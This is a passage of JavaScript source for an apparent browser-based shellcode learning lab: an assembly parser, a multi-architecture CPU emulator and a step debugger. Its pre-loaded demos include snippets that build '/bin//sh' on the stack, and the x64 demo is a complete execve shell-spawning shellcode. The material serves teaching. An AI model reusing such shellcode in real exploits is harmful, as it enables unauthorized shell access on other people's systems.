  const labels = {};
  const ar = ARCHS[archKey];
  
  // First pass: find labels
  let instrIdx = 0;
  lines.forEach((line) => {
    const trimmed = line.trim();
    if (!trimmed || trimmed.startsWith(";") || trimmed.startsWith("#") ||
        trimmed.startsWith("section") || trimmed.startsWith(".") ||
        trimmed.startsWith("global") || trimmed.startsWith("db ") ||
        trimmed.startsWith(".ascii") || trimmed.startsWith(".syntax")) return;
    
    if (trimmed.endsWith(":")) {
      labels[trimmed.slice(0, -1).trim()] = instrIdx;
      return;
    }
    // Handle label on same line as instruction
    if (trimmed.includes(":")) {
      const parts = trimmed.split(":");
      labels[parts[0].trim()] = instrIdx;
      const rest = parts.slice(1).join(":").trim();
      if (rest && !rest.startsWith(";")) instrIdx++;
      return;
    }
    instrIdx++;
  });
  
  // Second pass: parse instructions
  lines.forEach((line, lineNum) => {
    let trimmed = line.trim();
    if (!trimmed || trimmed.startsWith(";") || trimmed.startsWith("#") ||
        trimmed.startsWith("section") || trimmed.startsWith(".") ||
        trimmed.startsWith("global") || trimmed.startsWith("db ") ||
        trimmed.startsWith(".ascii") || trimmed.startsWith(".syntax")) {
      // Still track for display
      if (trimmed) parsed.push({ type: "meta", raw: line, lineNum, op: null });
      return;
    }
    
    if (trimmed.endsWith(":")) {
      parsed.push({ type: "label", raw: line, lineNum, op: null, name: trimmed.slice(0,-1).trim() });
      return;
    }
    
    // Strip inline comments
    const commentIdx = trimmed.indexOf(";");
    if (commentIdx > 0) trimmed = trimmed.slice(0, commentIdx).trim();
    const commentIdx2 = trimmed.indexOf("#");
    if (commentIdx2 > 0) trimmed = trimmed.slice(0, commentIdx2).trim();
    
    // Handle label:instruction
    if (trimmed.includes(":")) {
      const parts = trimmed.split(":");
      const lbl = parts[0].trim();
      parsed.push({ type: "label", raw: lbl + ":", lineNum, op: null, name: lbl });
      trimmed = parts.slice(1).join(":").trim();
      if (!trimmed) return;
    }
    
    // Parse instruction
    const spaceIdx = trimmed.indexOf(" ");
    let op, operands;
    if (spaceIdx === -1) {
      op = trimmed.toLowerCase();
      operands = [];
    } else {
      op = trimmed.slice(0, spaceIdx).toLowerCase();
      const opStr = trimmed.slice(spaceIdx + 1).trim();
      // Split on comma but not inside brackets
      operands = [];
      let depth = 0, cur = "";
      for (const ch of opStr) {
        if (ch === "[") depth++;
        if (ch === "]") depth--;
        if (ch === "," && depth === 0) {
          operands.push(cur.trim());
          cur = "";
        } else cur += ch;
      }
      if (cur.trim()) operands.push(cur.trim());
    }
    
    // Handle rep prefix
    if (op === "rep" || op === "repe" || op === "repne") {
      const rest = operands.join(" ");
      op = op + " " + rest.split(" ")[0];
      operands = [];
    }
    
    // Normalize conditional jumps
    const jccOps = ["je","jz","jne","jnz","jg","jge","jl","jle","ja","jae","jb","jbe","jnle","jnge","jnbe","jnae","jns","js","jo","jno"];
    
    parsed.push({
      type: "instr",
      raw: line,
      lineNum,
      op,
      operands,
      addr: CODE_BASE + (parsed.filter(p => p.type === "instr").length * 4),
    });
  });
  
  return { instructions: parsed, labels };
}

function execInstruction(cpu, instr, labels, archKey) {
  const ar = ARCHS[archKey];
  const spName = ar.special.sp;
  const ipName = ar.special.ip.replace(/ .*/,"");
  const wordSize = ar.bits / 8;
  
  // Save state for undo
  const snapshot = JSON.parse(JSON.stringify({ regs: cpu.regs, flags: cpu.flags, memory: cpu.memory, stack: cpu.stack }));
  cpu.history.push(snapshot);
  if (cpu.history.length > 100) cpu.history.shift();
  
  const getReg = (name) => cpu.regs[cleanOp(name)] || 0;
  const setReg = (name, val) => {
    const r = cleanOp(name);
    if (cpu.regs.hasOwnProperty(r)) {
      if (ar.bits === 32) val = val & 0xFFFFFFFF;
      else val = val & 0xFFFFFFFF;
      cpu.regs[r] = val;
    }
  };

  // Memory dereference support: [reg], [reg+off], [reg+reg*scale], byte [addr]
  const isMem = (operand) => {
    if (!operand) return false;
    const s = operand.trim();
    return s.includes("[") && s.includes("]");
  };

  const resolveAddr = (operand) => {
    // Parse: [reg], [reg+imm], [reg-imm], [reg+reg], [reg+reg*scale+imm]
    const s = cleanOp(operand);
    const inner = s.match(/\[([^\]]+)\]/)?.[1]?.trim();
    if (!inner) return 0;
    // Simple register: [esp], [rsp], [esi]
    if (isReg(inner, archKey)) return getReg(inner);
    // reg+imm or reg-imm: [esp+4], [esi-8], [rsp+0x10]
    const plusMatch = inner.match(/^(\w+)\s*\+\s*(.+)$/);
    if (plusMatch) {
      const base = isReg(plusMatch[1], archKey) ? getReg(plusMatch[1]) : parseImm(plusMatch[1]);
      const off = isReg(plusMatch[2].trim(), archKey) ? getReg(plusMatch[2].trim()) : parseImm(plusMatch[2].trim());
      return (base + off) & 0xFFFFFFFF;
    }
    const minusMatch = inner.match(/^(\w+)\s*-\s*(.+)$/);
    if (minusMatch) {
      const base = isReg(minusMatch[1], archKey) ? getReg(minusMatch[1]) : parseImm(minusMatch[1]);
      const off = parseImm(minusMatch[2].trim());
      return (base - off) & 0xFFFFFFFF;
    }
    // reg+reg*scale: [ebx+ecx*4]
    const scaleMatch = inner.match(/^(\w+)\s*\+\s*(\w+)\s*\*\s*(\d+)$/);
    if (scaleMatch) {
      return (getReg(scaleMatch[1]) + getReg(scaleMatch[2]) * parseInt(scaleMatch[3])) & 0xFFFFFFFF;
    }
    // Just an immediate: [0x08048000]
    const imm = parseImm(inner);
    if (!isNaN(imm)) return imm;
    return 0;
  };

  const readMem = (operand) => {
    const addr = resolveAddr(operand);
    return cpu.memory[addr] || 0;
  };

  const writeMem = (operand, val) => {
    const addr = resolveAddr(operand);
    cpu.memory[addr] = val & 0xFFFFFFFF;
    // Update stack display if writing to stack region
    const stackBase = ar.bits === 64 ? STACK_BASE_64 : STACK_BASE_32;
    if (addr <= stackBase && addr >= stackBase - 256) {
      const existing = cpu.stack.findIndex(e => e.addr === addr);
      if (existing >= 0) cpu.stack[existing].value = val;
    }
  };

  // Unified value getter: handles registers, immediates, and memory
  const getVal = (operand) => {
    if (!operand) return 0;
    if (isMem(operand)) return readMem(operand);
    const op = cleanOp(operand);
    if (isReg(op, archKey)) return getReg(op);
    return parseImm(op);
  };

  // Unified value setter: handles registers and memory destinations
  const setDst = (operand, val) => {
    if (isMem(operand)) { writeMem(operand, val); return; }
    setReg(operand, val);
  };

  // Check for "byte" prefix to determine operation width
  const isBytePrefixed = (operand) => {
    return operand && operand.trim().toLowerCase().startsWith("byte ");
  };

  const stripSizePrefix = (operand) => {
    if (!operand) return operand;
    return operand.replace(/^(byte|word|dword|qword)\s+/i, "");
  };
  
  const updateFlags = (result) => {
    const masked = result & 0xFFFFFFFF;
    cpu.flags.ZF = masked === 0 ? 1 : 0;
    cpu.flags.SF = (masked & 0x80000000) ? 1 : 0;
    cpu.flags.CF = (result < 0 || result > 0xFFFFFFFF) ? 1 : 0;
    cpu.flags.OF = 0; // simplified
  };
  
  const pushStack = (val) => {
    cpu.regs[spName] -= wordSize;
    const addr = cpu.regs[spName];
    cpu.memory[addr] = val;
    cpu.stack.unshift({ addr, value: val, label: "" });
    if (cpu.stack.length > 32) cpu.stack.pop();
  };
  
  const popStack = () => {
    const addr = cpu.regs[spName];
    const val = cpu.memory[addr] || 0;
    cpu.regs[spName] += wordSize;
    cpu.stack.shift();
    return val;
  };
  
  const { op, operands } = instr;
  let nextPc = cpu.pc + 1;
  
  switch (op) {
    // ── Data Movement ──
    case "mov": case "movl": case "movq": {
      const d = stripSizePrefix(operands[0]);
      const s = stripSizePrefix(operands[1]);
      setDst(d, getVal(s));
      break;
    }
    case "movabs": {
      setDst(operands[0], getVal(operands[1]));
      break;
    }
    case "push": {
      pushStack(getVal(operands[0]));
      break;
    }
    case "pop": {
      setDst(operands[0], popStack());
      break;
    }
    case "lea": {
      if (isMem(operands[1])) setReg(operands[0], resolveAddr(operands[1]));
      else setReg(operands[0], getVal(operands[1]));
      break;
    }
    case "xchg": {
      const va = getVal(operands[0]), vb = getVal(operands[1]);
      setDst(operands[0], vb);
      setDst(operands[1], va);
      break;
    }
    
    // ── Arithmetic ──
    case "add": case "addl": case "addq": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) + getVal(stripSizePrefix(operands[1]));
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "sub": case "subl": case "subq": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) - getVal(stripSizePrefix(operands[1]));
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "inc": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) + 1;
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "dec": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) - 1;
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "neg": {
      const d = stripSizePrefix(operands[0]);
      const result = -getVal(d);
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "mul": {
      const result = getReg("eax") * getVal(operands[0]);
      setReg("eax", result & 0xFFFFFFFF);
      setReg("edx", (result >>> 32) & 0xFFFFFFFF);
      updateFlags(result);
      break;
    }
    case "imul": {
      if (operands.length === 1) {
        const result = getReg("eax") * getVal(operands[0]);
        setReg("eax", result);
        updateFlags(result);
      } else {
        const result = getVal(operands[0]) * getVal(operands[1]);
        setDst(operands[0], result);
        updateFlags(result);
      }
      break;
    }
    case "div": {
      const divisor = getVal(operands[0]);
      if (divisor === 0) { cpu.output.push({ text: "Division by zero!", type: "err" }); cpu.halted = true; break; }
      const dividend = getReg("eax");
      setReg("eax", Math.floor(dividend / divisor));
      setReg("edx", dividend % divisor);
      break;
    }
    
    // ── Logic & Bitwise ──
    case "and": case "andl": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) & getVal(stripSizePrefix(operands[1]));
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "or": case "orl": case "orr": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) | getVal(stripSizePrefix(operands[1]));
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "xor": case "xorl": case "eor": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) ^ getVal(stripSizePrefix(operands[1]));
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "not": {
      const d = stripSizePrefix(operands[0]);
      setDst(d, ~getVal(d));
      break;
    }
    case "shl": case "sal": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) << getVal(operands[1] || "1");
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "shr": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) >>> getVal(operands[1] || "1");
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "sar": {
      const d = stripSizePrefix(operands[0]);
      const result = getVal(d) >> getVal(operands[1] || "1");
      setDst(d, result);
      updateFlags(result);
      break;
    }
    case "rol": {
      const cnt = getVal(operands[1] || "1") & 31;
      const d = stripSizePrefix(operands[0]);
      const v = getVal(d);
      setDst(d, ((v << cnt) | (v >>> (32 - cnt))) & 0xFFFFFFFF);
      break;
    }
    case "ror": {
      const cnt = getVal(operands[1] || "1") & 31;
      const d = stripSizePrefix(operands[0]);
      const v = getVal(d);
      setDst(d, ((v >>> cnt) | (v << (32 - cnt))) & 0xFFFFFFFF);
      break;
    }
    
    // ── Comparison ──
    case "cmp": case "cmpl": {
      const result = getVal(stripSizePrefix(operands[0])) - getVal(stripSizePrefix(operands[1]));
      updateFlags(result);
      break;
    }
    case "test": case "testl": {
      const result = getVal(stripSizePrefix(operands[0])) & getVal(stripSizePrefix(operands[1]));
      updateFlags(result);
      break;
    }
    
    // ── Control Flow ──
    case "jmp": case "b": {
      const target = cleanOp(operands[0]).replace("short ","");
      if (labels[target] !== undefined) nextPc = labels[target];
      break;
    }
    case "je": case "jz": case "beq": {
      if (cpu.flags.ZF === 1) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "jne": case "jnz": case "bne": {
      if (cpu.flags.ZF === 0) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "jg": case "jnle": case "bgt": {
      if (cpu.flags.ZF === 0 && cpu.flags.SF === cpu.flags.OF) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "jl": case "jnge": case "blt": {
      if (cpu.flags.SF !== cpu.flags.OF) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "jge": case "jnl": case "bge": {
      if (cpu.flags.SF === cpu.flags.OF) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "jle": case "jng": case "ble": {
      if (cpu.flags.ZF === 1 || cpu.flags.SF !== cpu.flags.OF) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "ja": case "jnbe": {
      if (cpu.flags.CF === 0 && cpu.flags.ZF === 0) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "jb": case "jnae": case "jc": {
      if (cpu.flags.CF === 1) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "js": {
      if (cpu.flags.SF === 1) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "jns": {
      if (cpu.flags.SF === 0) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "call": case "bl": {
      const retAddr = CODE_BASE + ((cpu.pc + 1) * 4);
      pushStack(retAddr);
      const target = cleanOp(operands[0]);
      if (labels[target] !== undefined) nextPc = labels[target];
      break;
    }
    case "ret": case "bx": {
      const retAddr = popStack();
      const instrOffset = (retAddr - CODE_BASE) / 4;
      if (instrOffset >= 0) nextPc = instrOffset;
      else { cpu.halted = true; cpu.output.push({ text: "Program returned", type: "ok" }); }
      break;
    }
    case "loop": {
      const cxReg = archKey === "x64" ? "rcx" : "ecx";
      const newCx = getReg(cxReg) - 1;
      setReg(cxReg, newCx);
      if (newCx !== 0) {
        const target = cleanOp(operands[0]);
        if (labels[target] !== undefined) nextPc = labels[target];
      }
      break;
    }
    case "nop":
      break;
    
    // ── Syscalls ──
    case "int": {
      const intNum = parseImm(operands[0]);
      if (intNum === 0x80) {
        const sysNum = getReg("eax");
        cpu.output.push({ text: `syscall: ${ARCHS.x86.syscalls[sysNum]?.name || "unknown"} (${sysNum})`, type: "sys" });
        if (sysNum === 1) { cpu.halted = true; cpu.output.push({ text: `exit(${getReg("ebx")})`, type: "ok" }); }
        else if (sysNum === 4) { cpu.output.push({ text: `write(${getReg("ebx")}, buf, ${getReg("edx")})`, type: "info" }); }
        else if (sysNum === 11) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; }
      }
      break;
    }
    case "syscall": {
      const sysNum = getReg(archKey === "x64" ? "rax" : "eax");
      const sc = ARCHS[archKey].syscalls[sysNum];
      cpu.output.push({ text: `syscall: ${sc?.name || "unknown"} (${sysNum})`, type: "sys" });
      if (sysNum === 60 || sysNum === 93) { cpu.halted = true; cpu.output.push({ text: `exit(${getReg(archKey === "x64" ? "rdi" : "r0")})`, type: "ok" }); }
      else if (sysNum === 1 || sysNum === 64) { cpu.output.push({ text: `write(fd, buf, ${getReg(archKey === "x64" ? "rdx" : "r2")})`, type: "info" }); }
      else if (sysNum === 59 || sysNum === 221) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; }
      break;
    }
    case "svc": {
      const sysNum = getReg(archKey === "arm64" ? "x8" : "r7");
      const sc = ARCHS[archKey].syscalls[sysNum];
      cpu.output.push({ text: `svc: ${sc?.name || "unknown"} (${sysNum})`, type: "sys" });
      if (sysNum === 1 || sysNum === 93) { cpu.halted = true; }
      else if (sysNum === 11 || sysNum === 221) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; }
      break;
    }
    
    default:
      cpu.output.push({ text: `Unsupported instruction: ${op}`, type: "warn" });
  }
  
  cpu.pc = nextPc;
  cpu.regs[ipName] = CODE_BASE + (cpu.pc * 4);
  return cpu;
}

// ── Debugger Programs (pre-loaded demos) ──
const DBG_PROGRAMS = {
  x86: {
    "exit(0)": `; exit(0) — minimal x86
xor eax, eax
xor ebx, ebx
mov al, 0x1
int 0x80`,
    "loop counter": `; Count down from 5
mov ecx, 5
mov eax, 0
loop_start:
add eax, 1
dec ecx
jnz loop_start
; eax = 5 when done`,
    "stack string": `; Build /bin on stack
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; ebx now points to /bin//sh`,
    "xor zeroing": `; Three ways to zero a register
xor eax, eax
sub ebx, ebx
push 0
pop ecx
; All three are now 0`,
    "function call": `; Simple call/ret
call myFunc
mov ebx, eax
xor eax, eax
mov al, 1
int 0x80
myFunc:
mov eax, 42
ret`,
  },
  x64: {
    "exit(0)": `; exit(0) — x86-64
xor rdi, rdi
push 60
pop rax
syscall`,
    "register chain": `; Pass values through registers
mov rdi, 0x41
mov rsi, rdi
add rsi, 0x20
mov rdx, rsi
xor rax, rax
mov al, 1
syscall`,
    "stack build": `; Build /bin//sh on stack — x64
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
xor rdx, rdx
push 59
pop rax
syscall`,
  },
  arm32: {
    "exit(0)": `; ARM exit
mov r0, #0
mov r7, #1
svc #0`,
    "add loop": `; Count to 10
mov r0, #0
mov r1, #10
loop:
add r0, r0, #1
sub r1, r1, #1
cmp r1, #0
bne loop`,
  },
  arm64: {
    "exit(0)": `; AArch64 exit
mov x0, #0
mov x8, #93
svc #0`,
    "register math": `; Register operations
mov x0, #100
mov x1, #25
sub x2, x0, x1
add x3, x0, x1
; x2=75, x3=125`,
  },
};

// ── Error Boundary ──
class ShellLabErrorBoundary extends React.Component {
  constructor(props) { super(props); this.state = { hasError: false, error: null }; }
  static getDerivedStateFromError(error) { return { hasError: true, error }; }
  render() {
    if (this.state.hasError) {
      return React.createElement("div", {
        style: { background: "#0a0e14", minHeight: "100vh", display: "flex", alignItems: "center", justifyContent: "center", padding: 40 }
      },
        React.createElement("div", { style: { background: "#0f1318", border: "1px solid #ff4757", borderRadius: 8, padding: 32, maxWidth: 500, textAlign: "center" } },
          React.createElement("div", { style: { fontSize: 32, marginBottom: 12 } }, "⚠"),
          React.createElement("div", { style: { fontFamily: "'Share Tech Mono', monospace", color: "#ff4757", fontSize: 14, letterSpacing: 2, marginBottom: 12 } }, "SHELL//LAB — RUNTIME ERROR"),
          React.createElement("div", { style: { fontFamily: "'Fira Code', monospace", color: "#8899aa", fontSize: 11, marginBottom: 16, wordBreak: "break-all" } }, String(this.state.error?.message || "Unknown error")),
          React.createElement("button", {
            onClick: () => this.setState({ hasError: false, error: null }),
            style: { background: "#39ff1418", border: "1px solid #39ff1444", color: "#39ff14", padding: "8px 24px", borderRadius: 4, cursor: "pointer", fontFamily: "'Barlow Condensed', sans-serif", fontSize: 13, fontWeight: 700 }
          }, "▸ RESET")
        )
      );
    }
    return this.props.children;
  }
}

// ── Main App ──
function ShellLabInner() {
  const [arch, setArch] = useState("x86");
  const [tab, setTab] = useState("ref");
  const [subTab, setSubTab] = useState(null);
  const [selTemplate, setSelTemplate] = useState(null);
  const [selLesson, setSelLesson] = useState(0);
  const [lessonSection, setLessonSection] = useState(0);
  const [selExercise, setSelExercise] = useState(0);
  const [showAnswer, setShowAnswer] = useState(false);
  const [editorCode, setEditorCode] = useState("");
  const [consoleOut, setConsoleOut] = useState([]);
  const [exerciseScores, setExerciseScores] = useState({});

  // Must be declared before hooks that reference it
  const a = ARCHS[arch];

  // ── Debugger State ──
  const [dbgCode, setDbgCode] = useState("");
  const [dbgCpu, setDbgCpu] = useState(null);
  const [dbgParsed, setDbgParsed] = useState(null);
  const [dbgLabels, setDbgLabels] = useState({});
  const [dbgRunning, setDbgRunning] = useState(false);
  const [dbgPrevRegs, setDbgPrevRegs] = useState({});
  const [dbgStepCount, setDbgStepCount] = useState(0);
  const [dbgSpeed, setDbgSpeed] = useState(500);
  const dbgIntervalRef = useRef(null);

  // Debugger actions
  const dbgLoad = useCallback((code) => {
    const src = code || dbgCode;
    if (!src.trim()) return;
    const { instructions, labels } = parseAsmLines(src, arch);
    const cpu = createCpuState(arch);
    setDbgParsed(instructions);
    setDbgLabels(labels);
    setDbgCpu(cpu);
    setDbgPrevRegs({});
    setDbgStepCount(0);
    setDbgRunning(false);
    if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current);
  }, [dbgCode, arch]);

  const dbgStep = useCallback(() => {
    if (!dbgCpu || !dbgParsed || dbgCpu.halted) return;
    const instrs = dbgParsed.filter(p => p.type === "instr");
    if (dbgCpu.pc >= instrs.length) {
      setDbgCpu(prev => ({ ...prev, halted: true, output: [...prev.output, { text: "End of program", type: "ok" }] }));
      return;
    }
    const instr = instrs[dbgCpu.pc];
    const prevRegs = { ...dbgCpu.regs };
    const newCpu = { ...dbgCpu, regs: { ...dbgCpu.regs }, flags: { ...dbgCpu.flags }, memory: { ...dbgCpu.memory }, stack: [...dbgCpu.stack], output: [...dbgCpu.output], history: [...dbgCpu.history] };
    execInstruction(newCpu, instr, dbgLabels, arch);
    setDbgPrevRegs(prevRegs);
    setDbgCpu(newCpu);
    setDbgStepCount(prev => prev + 1);
  }, [dbgCpu, dbgParsed, dbgLabels, arch]);

  const dbgRun = useCallback(() => {
    if (!dbgCpu || dbgCpu.halted) return;
    setDbgRunning(true);
  }, [dbgCpu]);

  const dbgPause = useCallback(() => {
    setDbgRunning(false);
    if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current);
  }, []);

  const dbgReset = useCallback(() => {
    setDbgRunning(false);
    if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current);
    if (dbgCode.trim()) dbgLoad(dbgCode);
  }, [dbgCode, dbgLoad]);

  const dbgUndo = useCallback(() => {
    if (!dbgCpu || !dbgCpu.history.length) return;
    const prev = dbgCpu.history[dbgCpu.history.length - 1];
    const newHistory = dbgCpu.history.slice(0, -1);
    setDbgCpu({ ...dbgCpu, regs: prev.regs, flags: prev.flags, memory: prev.memory, stack: prev.stack, pc: dbgCpu.pc > 0 ? dbgCpu.pc - 1 : 0, halted: false, history: newHistory });
    setDbgStepCount(prev => Math.max(0, prev - 1));
  }, [dbgCpu]);

  // Auto-run interval
  useEffect(() => {
    if (dbgRunning && dbgCpu && !dbgCpu.halted) {
      dbgIntervalRef.current = setInterval(() => {
        dbgStepPhase2();
      }, dbgSpeed);
      return () => clearInterval(dbgIntervalRef.current);
    } else {
      if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current);
      if (dbgCpu?.halted) setDbgRunning(false);
    }
  }, [dbgRunning, dbgCpu?.halted, dbgSpeed]);

  // Load default program when switching arch
  useEffect(() => {
    const progs = DBG_PROGRAMS[arch];
    if (progs) {
      const firstKey = Object.keys(progs)[0];
      setDbgCode(progs[firstKey]);
    }
  }, [arch]);

  // ── Phase 2: Hover state for register cross-references ──
  const [dbgHoverReg, setDbgHoverReg] = useState(null);
  const [dbgShowBytes, setDbgShowBytes] = useState(true);
  const [dbgShowXrefs, setDbgShowXrefs] = useState(true);
  const [dbgPrevFlags, setDbgPrevFlags] = useState({ ZF: 0, CF: 0, SF: 0, OF: 0 });

  // Override dbgStep to also track previous flags
  const dbgStepPhase2 = useCallback(() => {
    if (!dbgCpu || !dbgParsed || dbgCpu.halted) return;
    const instrs = dbgParsed.filter(p => p.type === "instr");
    if (dbgCpu.pc >= instrs.length) {
      setDbgCpu(prev => ({ ...prev, halted: true, output: [...prev.output, { text: "End of program", type: "ok" }] }));
      return;
    }
    const instr = instrs[dbgCpu.pc];
    const prevRegs = { ...dbgCpu.regs };
    const prevFlags = { ...dbgCpu.flags };
    const newCpu = { ...dbgCpu, regs: { ...dbgCpu.regs }, flags: { ...dbgCpu.flags }, memory: { ...dbgCpu.memory }, stack: [...dbgCpu.stack], output: [...dbgCpu.output], history: [...dbgCpu.history] };
    execInstruction(newCpu, instr, dbgLabels, arch);
    setDbgPrevRegs(prevRegs);
    setDbgPrevFlags(prevFlags);
    setDbgCpu(newCpu);
    setDbgStepCount(prev => prev + 1);
  }, [dbgCpu, dbgParsed, dbgLabels, arch]);

  // Opcode byte estimation for common instructions
  const estimateOpcodeBytes = useCallback((instr, archKey) => {
    if (!instr || instr.type !== "instr") return "";
    const { op, operands } = instr;
    const ar = ARCHS[archKey];
    // Simplified opcode encoding for display purposes
    const opcodeMap = {
      "nop": "90",
      "ret": ar.bits === 64 ? "c3" : "c3",
      "syscall": "0f 05",
      "int": "cd 80",
      "svc": "ef 00 00 00",
    };
    if (opcodeMap[op]) return opcodeMap[op];

    // Common x86/x64 patterns
    if (archKey === "x86" || archKey === "x64") {
      const rex = archKey === "x64" ? "48 " : "";
      const regCodes = { "eax": 0, "ecx": 1, "edx": 2, "ebx": 3, "esp": 4, "ebp": 5, "esi": 6, "edi": 7, "rax": 0, "rcx": 1, "rdx": 2, "rbx": 3, "rsp": 4, "rbp": 5, "rsi": 6, "rdi": 7, "r8": 0, "r9": 1, "r10": 2, "r11": 3, "r12": 4, "r13": 5, "r14": 6, "r15": 7 };
      const dst = cleanOp(operands?.[0]);
      const src = cleanOp(operands?.[1]);
      const dstCode = regCodes[dst];
      const srcCode = regCodes[src];

      switch (op) {
        case "xor":
          if (dst === src && dstCode !== undefined) return rex + (0x31).toString(16) + " " + (0xc0 + dstCode * 9).toString(16);
          if (dstCode !== undefined && srcCode !== undefined) return rex + "31 " + (0xc0 + srcCode * 8 + dstCode).toString(16);
          break;
        case "mov":
          if (dstCode !== undefined && !isNaN(parseImm(src))) {
            const imm = parseImm(src);
            if (imm >= 0 && imm <= 255 && dst.startsWith("al") || dst.endsWith("l")) return "b0 " + imm.toString(16).padStart(2, "0");
            if (imm >= 0 && imm <= 255) return rex + (0xb8 + dstCode).toString(16) + " " + imm.toString(16).padStart(2, "0") + " 00 00 00";
            return rex + (0xb8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 8) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 16) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 24) & 0xFF).toString(16).padStart(2,"0");
          }
          if (dstCode !== undefined && srcCode !== undefined) return rex + "89 " + (0xc0 + srcCode * 8 + dstCode).toString(16);
          break;
        case "push":
          if (dstCode !== undefined) return (0x50 + dstCode).toString(16);
          if (!isNaN(parseImm(dst))) {
            const imm = parseImm(dst);
            if (imm >= -128 && imm <= 127) return "6a " + (imm & 0xFF).toString(16).padStart(2, "0");
            return "68 " + (imm & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 8) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 16) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 24) & 0xFF).toString(16).padStart(2,"0");
          }
          break;
        case "pop":
          if (dstCode !== undefined) return (0x58 + dstCode).toString(16);
          break;
        case "add":
          if (dstCode !== undefined && !isNaN(parseImm(src))) {
            const imm = parseImm(src);
            if (imm >= -128 && imm <= 127) return rex + "83 " + (0xc0 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0");
          }
          if (dstCode !== undefined && srcCode !== undefined) return rex + "01 " + (0xc0 + srcCode * 8 + dstCode).toString(16);
          break;
        case "sub":
          if (dstCode !== undefined && !isNaN(parseImm(src))) {
            const imm = parseImm(src);
            if (imm >= -128 && imm <= 127) return rex + "83 " + (0xe8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0");
          }
          break;
        case "inc":
          if (dstCode !== undefined) return archKey === "x64" ? rex + "ff " + (0xc0 + dstCode).toString(16) : (0x40 + dstCode).toString(16);
          break;
        case "dec":
          if (dstCode !== undefined) return archKey === "x64" ? rex + "ff " + (0xc8 + dstCode).toString(16) : (0x48 + dstCode).toString(16);
          break;
        case "cmp":
          if (dstCode !== undefined && !isNaN(parseImm(src))) {
            const imm = parseImm(src);
            if (imm >= -128 && imm <= 127) return rex + "83 " + (0xf8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0");
          }
          break;
        case "test":
          if (dst === src && dstCode !== undefined) return rex + "85 " + (0xc0 + dstCode * 9).toString(16);
          break;
        case "and":
          if (dstCode !== undefined && !isNaN(parseImm(src))) return rex + "81 " + (0xe0 + dstCode).toString(16) + " " + (parseImm(src) & 0xFF).toString(16).padStart(2, "0") + " 00 00 00";
          break;
        case "or":
          if (dstCode !== undefined && srcCode !== undefined) return rex + "09 " + (0xc0 + srcCode * 8 + dstCode).toString(16);
          break;
        case "not":
          if (dstCode !== undefined) return rex + "f7 " + (0xd0 + dstCode).toString(16);
          break;
        case "neg":
          if (dstCode !== undefined) return rex + "f7 " + (0xd8 + dstCode).toString(16);
          break;
        case "jmp": return "eb xx";
        case "je": case "jz": return "74 xx";
        case "jne": case "jnz": return "75 xx";
        case "jg": case "jnle": return "7f xx";
        case "jl": case "jnge": return "7c xx";
        case "jge": case "jnl": return "7d xx";
        case "jle": case "jng": return "7e xx";
        case "ja": case "jnbe": return "77 xx";
        case "jb": case "jnae": return "72 xx";
        case "js": return "78 xx";
        case "jns": return "79 xx";
        case "call": return "e8 xx xx xx xx";
        case "loop": return "e2 xx";
        default: break;
      }
    }
    // ARM stubs
    if (archKey === "arm32") {
      if (op === "svc") return "ef 00 00 00";
      if (op === "bx" && cleanOp(operands?.[0]) === "lr") return "1e ff 2f e1";
      return ".. .. .. ..";
    }
